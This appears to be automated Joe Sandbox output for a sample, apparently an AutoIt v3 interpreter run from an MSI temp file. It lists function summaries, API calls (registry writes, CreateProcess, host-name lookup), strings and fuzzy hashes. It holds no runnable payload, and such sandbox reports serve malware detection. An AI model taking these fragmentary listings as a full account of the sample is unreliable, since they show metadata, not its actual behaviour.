Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$75381560Size_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 2589663703-1459072770
Opcode ID: 3c507daf2b8e5319f6ad273e3d2ea03c1f128f49a5a34d662c482f08811af447
Instruction ID: f3d6914ef96bbded59a1e6f6103123eaaac7ed8e19118011c1eba8db21cab43e
Opcode Fuzzy Hash: 3c507daf2b8e5319f6ad273e3d2ea03c1f128f49a5a34d662c482f08811af447
Instruction Fuzzy Hash: 1841F272A042007AE707AB649C87EFF7BECDF15714F40405AF900AF592EB75AA4086A1

Function 00321F04 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

GetForegroundWindow.USER32 ref: 00321FBE
IsWindow.USER32(?), ref: 0039282E

Strings

INSTANCE, xrefs: 0039276D
REGEXPTITLE, xrefs: 00392629
ALL, xrefs: 00392795
LAST, xrefs: 003925E7
TITLE, xrefs: 003927C3
ACTIVE, xrefs: 003925FD
CLASS, xrefs: 00392659
HANDLE, xrefs: 00392613
REGEXPCLASS, xrefs: 0039267A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 3032ccc6864eb6a7d1ce203b1388ea1ee6a1fabfd2e92d13c5fc1eb9f35c8570
Instruction ID: d48903000f2b8ced43eab9c0fcb9cd31b6e52cfeb1fa8dbadc3f89c060022704
Opcode Fuzzy Hash: 3032ccc6864eb6a7d1ce203b1388ea1ee6a1fabfd2e92d13c5fc1eb9f35c8570
Instruction Fuzzy Hash: 5DD1E830508B02FFCF0BEF20D480AABB7A5BF54344F544A29F4565B5A2DB30E959CB92

Function 0038352A Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00383626
RegCreateKeyExW.KERNEL32(?,?,00000000,003BDBF0,00000000,?,00000000,?,?), ref: 00383694
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 003836DC
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00383765
RegCloseKey.ADVAPI32(?), ref: 00383A85
RegCloseKey.ADVAPI32(00000000), ref: 00383A92

Strings

REG_DWORD, xrefs: 00383956
REG_SZ, xrefs: 003837A3
REG_MULTI_SZ, xrefs: 0038384D
REG_EXPAND_SZ, xrefs: 00383702
REG_BINARY, xrefs: 00383A20
REG_QWORD, xrefs: 003839D3

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: d420f7a519b81139b855738e2c43813ecbbeddd885ad9d0c9b8387e8d1c4c2da
Instruction ID: 853f4d146d5fb86994823819cecd83cfaabc5e8e371eae40e0fa1014dc52ef68
Opcode Fuzzy Hash: d420f7a519b81139b855738e2c43813ecbbeddd885ad9d0c9b8387e8d1c4c2da
Instruction Fuzzy Hash: 5B0248752006119FCB16EF29D891E6AB7E9FF89720F05845DF88A9B362DB34ED01CB41

Function 0033E975 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0033EA39
__wsplitpath.LIBCMT ref: 0033EA56

Part of subcall function 0034297D: __wsplitpath_helper.LIBCMT ref: 003429BD

_wcsncat.LIBCMT ref: 0033EA69
__makepath.LIBCMT ref: 0033EA85

Part of subcall function 00342BFF: __wmakepath_s.LIBCMT ref: 00342C13

Part of subcall function 0034010A: std::exception::exception.LIBCMT ref: 0034013E
Part of subcall function 0034010A: __CxxThrowException@8.LIBCMT ref: 00340153

_wcscpy.LIBCMT ref: 0033EABE

Part of subcall function 0033EB05: RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,0033EADA,?,?), ref: 0033EB27

_wcscat.LIBCMT ref: 003932FC
_wcscat.LIBCMT ref: 00393334
_wcsncpy.LIBCMT ref: 00393370

Strings

">, xrefs: 0033EAEB
Include, xrefs: 0033EA63
'/6, xrefs: 0033E9FC
\, xrefs: 00393321

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscat$Exception@8FileModuleNameOpenThrow__makepath__wmakepath_s__wsplitpath__wsplitpath_helper_wcscpy_wcsncat_wcsncpystd::exception::exception
String ID: '/6$Include$\$">
API String ID: 1213536620-634662058
Opcode ID: de659a071c4c113b5a2d8d4e56e7c1877e81afb2f101c32491b48f095db8f20b
Instruction ID: 0b1585c8b297544de818831a5727f4a24f152fa98d03352ce86c4fd3e7f73e87
Opcode Fuzzy Hash: de659a071c4c113b5a2d8d4e56e7c1877e81afb2f101c32491b48f095db8f20b
Instruction Fuzzy Hash: 0951E9BA4043809BC727EF55E8C589BB7ECFB49300F404A1EF5459B2A1EB74A644CF66

Function 00324257 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Installer\MSI4976.tmp,00000104,?,00000000,00000001,00000000), ref: 0032428C

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

Part of subcall function 00341BC7: __wcsicmp_l.LIBCMT ref: 00341C50

_wcscpy.LIBCMT ref: 003243C0
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Installer\MSI4976.tmp,00000104,?,?,?,?,00000000,CMDLINE,?,?,00000100,00000000,CMDLINE,?,?), ref: 0039214E

Strings

CMDLINE, xrefs: 003242DA, 003242DF, 0032430D
/AutoIt3ExecuteScript, xrefs: 0032438A
/ErrorStdOut, xrefs: 0032434B
CMDLINERAW, xrefs: 003242AD
/AutoIt3ExecuteLine, xrefs: 00324375
C:\Windows\Installer\MSI4976.tmp, xrefs: 00324283, 00324288, 00324292, 003243BB, 003243D9, 0039213B, 00392192
/AutoIt3OutputDebug, xrefs: 00324360

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FileModuleName$__wcsicmp_l_memmove_wcscpy
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Windows\Installer\MSI4976.tmp$CMDLINE$CMDLINERAW
API String ID: 861526374-1219366996
Opcode ID: 4aaedad4b522fe36ad3273a3993afdb47dc77a7e160940dda307b584e9ce3834
Instruction ID: 3c608fac454ddb689be5f640689a39412dffda541a1a34a04a9e3ea5b36ebdb7
Opcode Fuzzy Hash: 4aaedad4b522fe36ad3273a3993afdb47dc77a7e160940dda307b584e9ce3834
Instruction Fuzzy Hash: C5817376900529AACB17EBE1ED92EEFB7BCAF15350F500115F541BB081EB706B44CBA1

Function 003678EE Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00367909
gethostname.WS2_32(?,00000100), ref: 00367923
gethostbyname.WS2_32(?), ref: 00367930
_wcscpy.LIBCMT ref: 00367958
_memmove.LIBCMT ref: 0036796B
inet_ntoa.WS2_32(?), ref: 00367976
_strcat.LIBCMT ref: 00367984
_wcscpy.LIBCMT ref: 0036799B
WSACleanup.WS2_32 ref: 003679A9
_wcscpy.LIBCMT ref: 003679B7

Strings

0.0.0.0, xrefs: 00367952

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: eaddce9a6a87340e1a35a068f91492d6fd9acd62a709c882c35e3d1ef0f0a070
Instruction ID: e10960462a1b9f4c7d359b78c5bb4735b7a09de22690f58684e75e372952d018
Opcode Fuzzy Hash: eaddce9a6a87340e1a35a068f91492d6fd9acd62a709c882c35e3d1ef0f0a070
Instruction Fuzzy Hash: BF112431908115AFDB27AB70DC4AEEA73FCDF06724F4040A5F0069A094EF70DA808BA0

Function 003230A5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 003230B0
LoadCursorW.USER32(00000000,00007F00), ref: 003230BF
LoadIconW.USER32(00000063), ref: 003230D5
LoadIconW.USER32(000000A4), ref: 003230E7
LoadIconW.USER32(000000A2), ref: 003230F9

Part of subcall function 0032318A: LoadImageW.USER32(00320000,00000063,00000001,00000010,00000010,00000000), ref: 003231AE

RegisterClassExW.USER32(?), ref: 00323167

Part of subcall function 00322F58: GetSysColorBrush.USER32(0000000F), ref: 00322F8B
Part of subcall function 00322F58: RegisterClassExW.USER32(00000030), ref: 00322FB5
Part of subcall function 00322F58: RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00322FC6
Part of subcall function 00322F58: LoadIconW.USER32(000000A9), ref: 00323009

Strings

AutoIt v3, xrefs: 00323156
#, xrefs: 00323140
0, xrefs: 00323139

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Load$Icon$Register$BrushClassColor$ClipboardCursorFormatImage
String ID: #$0$AutoIt v3
API String ID: 2880975755-4155596026
Opcode ID: 278c6081dbc08d743a4342056a6bd59ceaf4eaaec31ddaeb30b31580ee0eb12c
Instruction ID: d8d7584951133bbf913a3c93a706de5e9e2ab0be0f3c23ee49ec0bb361d51dd7
Opcode Fuzzy Hash: 278c6081dbc08d743a4342056a6bd59ceaf4eaaec31ddaeb30b31580ee0eb12c
Instruction Fuzzy Hash: A2214474E00354AFDB56DFA9EC85A9EBFF9FB48314F00422AE614AB2E0D77545408F91

Function 0037B74B Relevance: 15.3, APIs: 10, Instructions: 324
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 0037B777
CoInitialize.OLE32(00000000), ref: 0037B7A4
CoUninitialize.COMBASE ref: 0037B7AE
GetRunningObjectTable.OLE32(00000000,?), ref: 0037B8AE
SetErrorMode.KERNEL32(00000001,00000029), ref: 0037B9DB
CoGetInstanceFromFile.COMBASE(00000000,?,00000000,00000015,00000002), ref: 0037BA0F
CoGetObject.OLE32(?,00000000,003AD91C,?), ref: 0037BA32
SetErrorMode.KERNEL32(00000000), ref: 0037BA45
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0037BAC5
VariantClear.OLEAUT32(003AD91C), ref: 0037BAD5

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: c4a6527459041fad65c014009f15c4ca134a45b71cc6c7ceae8b2553abb25dd7
Instruction ID: 0609cd7313e929aa502e2de229be265c7f578751f33c962fc861d490f798bf70
Opcode Fuzzy Hash: c4a6527459041fad65c014009f15c4ca134a45b71cc6c7ceae8b2553abb25dd7
Instruction Fuzzy Hash: CEC12371604345AFC711EF68C884A6BB7E9FF89304F00891DF98A9B251DB75ED05CB52

Function 00322F58 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 53
registrywindowclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00322F8B
RegisterClassExW.USER32(00000030), ref: 00322FB5
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00322FC6
LoadIconW.USER32(000000A9), ref: 00323009

Strings

+, xrefs: 00322F74
0, xrefs: 00322F6D
TaskbarCreated, xrefs: 00322FBB
AutoIt v3 GUI, xrefs: 00322FA7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Register$BrushClassClipboardColorFormatIconLoad
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 975902462-1005189915
Opcode ID: f567803a90d043ec7db9f35dd125873813079c8b59ab1e056caee9ae003655fa
Instruction ID: 129212f95808e228b57ebe4b435496ec307186029eac756d18747569c8af1020
Opcode Fuzzy Hash: f567803a90d043ec7db9f35dd125873813079c8b59ab1e056caee9ae003655fa
Instruction Fuzzy Hash: E621C4B5900358AFDB12DFA4E889BCEBBF8FB09704F00421AF615AA6A0D7B14544CF91

Function 003823C5 Relevance: 13.9, APIs: 9, Instructions: 376
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 003823E6
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00382579
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0038259D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 003825DD
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 003825FF
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00382760
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00382792
CloseHandle.KERNEL32(?), ref: 003827C1
CloseHandle.KERNEL32(?), ref: 00382838

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 0956fe54a6d03538fbdc86b3a32f4bb0ec954244d43a9c1c9851ac84f2727b74
Instruction ID: b6dfe901d86f0d829bbb68f44c2d0e41c3624e9454278e5d22c8ab2fb1eef46b
Opcode Fuzzy Hash: 0956fe54a6d03538fbdc86b3a32f4bb0ec954244d43a9c1c9851ac84f2727b74
Instruction Fuzzy Hash: E0D1A035604301DFCB16EF25D891B6ABBE5AF85310F15889DF8899F2A2DB70EC41CB52

Function 0037C8B7 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

NULL Pointer assignment, xrefs: 0037CCEE, 0037CCFF
Not an Object type, xrefs: 0037C916

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 19385a54923d97f54e4f70e7748cce87194c7eae7cc5b276d693f1be2f398ff4
Instruction ID: 916198092bb41541536a5494b9cb761a8bd9995b139c1fd56254e0e389fcbd0f
Opcode Fuzzy Hash: 19385a54923d97f54e4f70e7748cce87194c7eae7cc5b276d693f1be2f398ff4
Instruction Fuzzy Hash: 17E1B171A1021AAFDF22DFA4D881AEE77B9FF48314F15802DF949AB281D7749D41CB90

Function 0037BF80 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0037BFD4
VariantInit.OLEAUT32(?), ref: 0037C0A5
VariantInit.OLEAUT32(?), ref: 0037C1A6
VariantClear.OLEAUT32(?), ref: 0037C1B0
VariantClear.OLEAUT32(?), ref: 0037C211

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0037C189
Null Object assignment in FOR..IN loop, xrefs: 0037C035, 0037C163, 0037C21F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 323b0df2f94de50a192a94e73dd97d3cf85624f8667bd9adb6f847dd545afc7e
Instruction ID: 0eb6422d2d3795ca302242483d736d17e86a08e6a8f549386a4a49f0a4fa4ec4
Opcode Fuzzy Hash: 323b0df2f94de50a192a94e73dd97d3cf85624f8667bd9adb6f847dd545afc7e
Instruction Fuzzy Hash: E291AD71A10219EBDF26CFA4D844FAEBBB8EF45710F10852DF919AB281D7749941CFA0

Function 00323DCB Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 258COMMON

Download Yara Rule

APIs

Part of subcall function 00323F9B: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,003234E2,?,00000001), ref: 00323FCD

_free.LIBCMT ref: 00393C27
_free.LIBCMT ref: 00393C6E

Part of subcall function 0032BDF0: GetCurrentDirectoryW.KERNEL32(00000104,?,?,00002000,?,003E22E8,?,00000000,?,00323E2E,?,00000000,?,003BDBF0,00000000,?), ref: 0032BE8B
Part of subcall function 0032BDF0: GetFullPathNameW.KERNEL32(?,00000104,?,?,?,00323E2E,?,00000000,?,003BDBF0,00000000,?,00000002), ref: 0032BEA7
Part of subcall function 0032BDF0: __wsplitpath.LIBCMT ref: 0032BF19
Part of subcall function 0032BDF0: _wcscpy.LIBCMT ref: 0032BF31
Part of subcall function 0032BDF0: _wcscat.LIBCMT ref: 0032BF46
Part of subcall function 0032BDF0: SetCurrentDirectoryW.KERNEL32(?), ref: 0032BF56

Strings

G-2, xrefs: 00393A4F
E<2, xrefs: 00393B58
>>>AUTOIT SCRIPT<<<, xrefs: 00393A01
Bad directive syntax error, xrefs: 00393C54

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CurrentDirectory_free$FullLibraryLoadNamePath__wsplitpath_wcscat_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error$E<2$G-2
API String ID: 1510338132-1910664700
Opcode ID: 9780d8dccb70ddd06728ccb50b2e2d6828753e3feed2e4c873a2cb70b1336a58
Instruction ID: 36b2f821747686e7206e3bc19b899673c0c53821d8cc680836bea134bd59625d
Opcode Fuzzy Hash: 9780d8dccb70ddd06728ccb50b2e2d6828753e3feed2e4c873a2cb70b1336a58
Instruction Fuzzy Hash: 40915071A10269AFCF06EFA4DC919EEB7B4BF05310F144429F416AF291EB74AE05CB50

Function 0033EB05 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,0033EADA,?,?), ref: 0033EB27
